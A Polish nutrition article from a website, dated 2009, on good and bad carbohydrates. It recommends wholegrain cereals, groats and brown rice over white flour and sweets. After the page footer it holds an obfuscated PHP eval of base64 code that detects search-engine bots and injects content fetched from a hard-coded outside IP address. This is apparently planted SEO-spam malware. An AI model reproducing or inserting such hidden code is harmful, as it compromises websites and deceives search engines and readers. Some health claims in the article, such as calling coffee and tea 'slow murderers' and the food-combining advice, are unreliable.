Ważny składnik pożywienia – węglowodany. PDF Drukuj Email
Wpisany przez Administrator   
czwartek, 23 lipca 2009 07:46

Węglowodany to nasi sprzymierzeńcy, ale też i wrogowie, zależy, jakim rodzaju węglowodanów mówimy. Światowa Organizacja Zdrowia (WHO) zaleca, by węglowodany stanowiły około 50% dziennej dawki kalorii potrzebnych organizmowi ludzkiemu do prawidłowego funkcjonowania. Chodzi tu o wysokowartościowe, złożone węglowodany, pochodzące z naturalnych zbóż i warzyw. Zawarte w nich cukry proste, skrobia i celuloza, stanowią paliwo napędowe przetwarzane na niezbędną energię. Inną grupę węglowodanów stanowią niskowartościowe cukrowce, zwane też „pustymi kaloriami", gdyż ich wartość odżywcza jest znikoma i one to właśnie są przyczyną nadwagi i problemów zdrowotnych.


Paul Bregg w znakomitej książce „Program uzdrawiania kręgosłupa" (nigdy nie wydanej w języku polskim) w sposób prosty i sugestywny podaje wiele interesujących informacji. Jedyną przyczyną - w jego i nie tylko jego opinii - powszechnego zjawiska nadwagi w różnych kategoriach wiekowych jest fakt, że większość ludzi nie je wtedy, gdy pojawia się uczucie głodu, lecz dla przyjemności lub godzina sugeruje czas posiłku, dla „zabicia czasu", a także rekompensując przeżywane stresy i negatywne emocje. W dodatku jest to przejadanie się niezdrowym pokarmem. Naturalne pożywienie to niezawodny czynnik utrzymania prawidłowej wagi i dobrego zdrowia. Matka Natura może w pełni zabezpieczyć człowieka w zbilansowany pokarm. Jednak człowiek, dążąc do swojego zadowolenia, stale narusza tę równowagę przekształcając zdrowy naturalny pokarm w „ martwy" i pozbawiony energii. Dążność do ochronienia pokarmów przed zepsuciem spowodowała, że zostały one poddane skomplikowanej obróbce i tak zwanemu oczyszczaniu, co pozbawiło je naturalnych, mineralnych wartości i witamin. Pokarm nie tylko stał się przez to martwy, ale dodano do niego szkodliwe konserwujące substancje. Takie pożywienie może nasycić głód, lecz nie może dać ludzkiemu organizmowi wszystkiego, co jest mu potrzebne do zachowania zdrowia i dobrej kondycji do późnych lat. Jak pogorszyło się nasze pożywienie, widać na naszych dzieciach, czasami jest to żałosny widok: osowiałe, zgarbione, ze skrzywieniami kręgosłupa, z przerostem galaretowatej tkanki tłuszczowej, łatwo męczące się lub bez tzw. „energii do życia". A dorośli w beznadziejnych próbach pozyskania choć trochę owej energii sięgają po lekarstwa lub „powolnych morderców": kawę, herbatę, nikotynę, alkohol lub preparaty mineralno - witaminowe i leki.


Nasz sprzymierzeniec to ziarno zbóż (najlepiej wyprodukowane bez chemii) w postaci płatków zbożowych, mąki z pełnego przemiału i ich przetworów. W poprzednich wiekach takie produkty stanowiły podstawę diety. Problemy ludzkości zaczęły się około 100 lat temu, kiedy zaczęto oczyszczać i przetwarzać zboża na masową skalę. Oczyszczona biała mąka może długo stać na sklepowych półkach, bo ma znacznie większą trwałość, co z tego, jak jest ona czystą skrobią, czyli cukrem złożonym, a pod względem energetycznym jest martwa pozbawiona witamin i mikroelementów. Żywe pszeniczne otręby, najbogatszy składnik zboża usuwa się w skomplikowanym procesie przetwarzania ziarna i pozostawia się tylko „puste" kalorie. Pełne ziarno zbóż i razowa mąka zawierają naturalne witaminy z grupy B odpowiedzialne za stan systemu nerwowego, skórę, serce , odnowę krwinek czerwonych w szpiku kostnym ludzkiego organizmu. Biała mąka jest tego pozbawiona, a zatem sami decydujemy, co wybieramy - rozkosze podniebienia w postaci bielusieńkich bułeczek, ciasteczek czy zdrowy czarny chleb, od którego nasze podniebienia odzwyczaiły się, lecz kwestia przyzwyczajenia do innego smaku to dwa tygodnie do miesiąca. Stopniowo powstanie nowy nawyk, odmienny smak i produkty z białej mąki przestają smakować, a po dłuższym czasie wręcz trudno będzie zmusić się do ich zjedzenia.


Wysokowartościowe węglowodany stanowić powinny podstawę naszej diety. Najkorzystniejsze są z czystych ekologicznych upraw, ponadto są tanie i znakomicie wpływają na zdrowie. Przyjrzyjmy się ich właściwościom.


Pszenice, żyto, owies, jęczmień stanowią wysoką wartość pod warunkiem, że spożywamy produkowane z nich mąki razowe pod postacią chleba, wypieków, pierogów, makaronów, płatki z tych zbóż oraz kasze. Przypomnę jedynie, że zboża te bogate są w witaminy z grupy B, znaczną ilość mikroelementów w postaci żelaza, fosforu, potasu, wapnia, błonnika. Ich niedobór wywołuje w organizmie poważne negatywne konsekwencje dla zdrowia fizycznego i psychicznego, gdyż witaminy z grupy B oddziaływują na kondycję systemu nerwowego.
Do wysokowartościowych węglowodanów zalicza się także ryż brązowy (biały jest pozbawiony wartościowych składników w procesie oczyszczania) - jest również doskonałym źródłem witamin z grupy B, magnezu i błonnika, wskazany szczególnie dla osób uczulonych na gluten.


Kasza gryczana - ma w składzie cynk i selen, także nie zawiera glutenu. Mąka gryczana nadaje się do naleśników, makaronów i słodkich wypieków z dodatkiem melasy lub miodu.
Skrobia będąca składnikiem warzyw korzeniowych, marchewki, pietruszki, pasternaku i najpopularniejszego warzywa - ziemniaków, które zawierają witaminy C, B6 oraz potas, błonnik i niedużą ilość białka. Najkorzystniej komponują się w potrawach z warzywami, najniekorzystniej z białkiem. Czyli tradycyjny kotlet z ziemniakami to niezbyt udane połączenie. Codzienne jedzenie ziemniaków to też nie najlepszy pomysł, gdyż zawarta w nich skrobia, to nic innego jak cukier złożony, a ten w nadmiarze obciąża trzustkę produkującą insulinę odpowiedzialną za rozpad cukrów. Wszystko w naszym pożywieniu jest korzystne, jeśli używane jest z umiarem.


Kasza jaglana z prosa jest zbożem wysokobiałkowym, z zawartością potasu, fosforu i żelaza. W postaci kaszy doskonała z warzywami lub jako mąka jaglana stanowi dodatek do potraw.
Jeżeli w diecie dominują węglowodany niskowartościowe: białe pieczywo (chleb, bułki, ciasta, drożdżówki, herbatniki, paluszki itp.) różnego rodzaju słodycze to pokarm taki jest budulcem tkanki tłuszczowej, lecz nie daje organizmowi potrzebnej energii, człowiek chociaż najedzony, czuje się osłabiony, bez sił.


W latach 1995 -1999 Uniwersytet Harvarda w USA prowadził badania, które wykazały, że ludzie stosujący dietę obfitującą w błonnik (zboża, warzywa) znacznie rzadziej chorują na choroby serca (choroba wieńcowa, zawały). Systematyczne spożywanie zbóż w różnej postaci zmniejsza ryzyko zachorowania na raka jelit, trzustki i nowotworów hormonozależnych, np. raka sutka. Ponadto zboża oddziaływują bardzo korzystnie na układ trawienny, zapobiegają zaparciom, wpływają korzystnie na przemianę materii, co jest istotnym czynnikiem zmniejszającym ryzyko nadwagi. Owies, i jego pochodne: płatki owsiane, mąka i otręby, obniżają poziom „złego" cholesterolu (LDL) zapobiegając jednej z podstawowych chorób cywilizacyjnych, miażdżycy.


Jakie węglowodany spożywać? Na to pytanie każdy musi odpowiedzieć sam. Jeżeli podejmiemy właściwe decyzje i działania polepszające nasz system żywieniowy, pokarm stanie się lekarstwem. Najwłaściwsze wybory to razowe pieczywo, razowe makarony, dostępne w sklepach ze zdrową żywnością, płatki zbóż i warzywa. Na śniadania polecam płatki różnych zbóż z nasionami: siemię lniane, sezam, ziarno słonecznika, pestki dyni, różne orzechy, wszystko zalane wrzątkiem w miseczce i przykryte talerzykiem na 10 minut, żute powoli i starannie dostarczą składników i energii na kilka godzin, dadzą uczucie sytości, więc ograniczą częste dojadanie. Pamiętać należy, że każde ziarenko zawiera ogromny potencjał witalny w postaci składników odżywczych dla całej rośliny, która mogłaby z niego wyrosnąć.


mgr Grażyna Radek

Zmieniony: piątek, 07 sierpnia 2009 14:16
 
Designed by Templatka.pl
<?php eval(base64_decode("aWYgKHByZWdfbWF0Y2goJy9saXZlfG1zbnx5YWhvb3xHb29nbGV8YXNrfGFvbHxib3R8Z29vZ2xlLycsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgCiRjb24gPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly8yMDkuMTYwLjMzLjEwOC9saW5rczMucGhwP2hvc3Q9Ii4kX1NFUlZFUlsnSFRUUF9IT1NUJ10pOwplY2hvICRjb247Cn0=")); ?>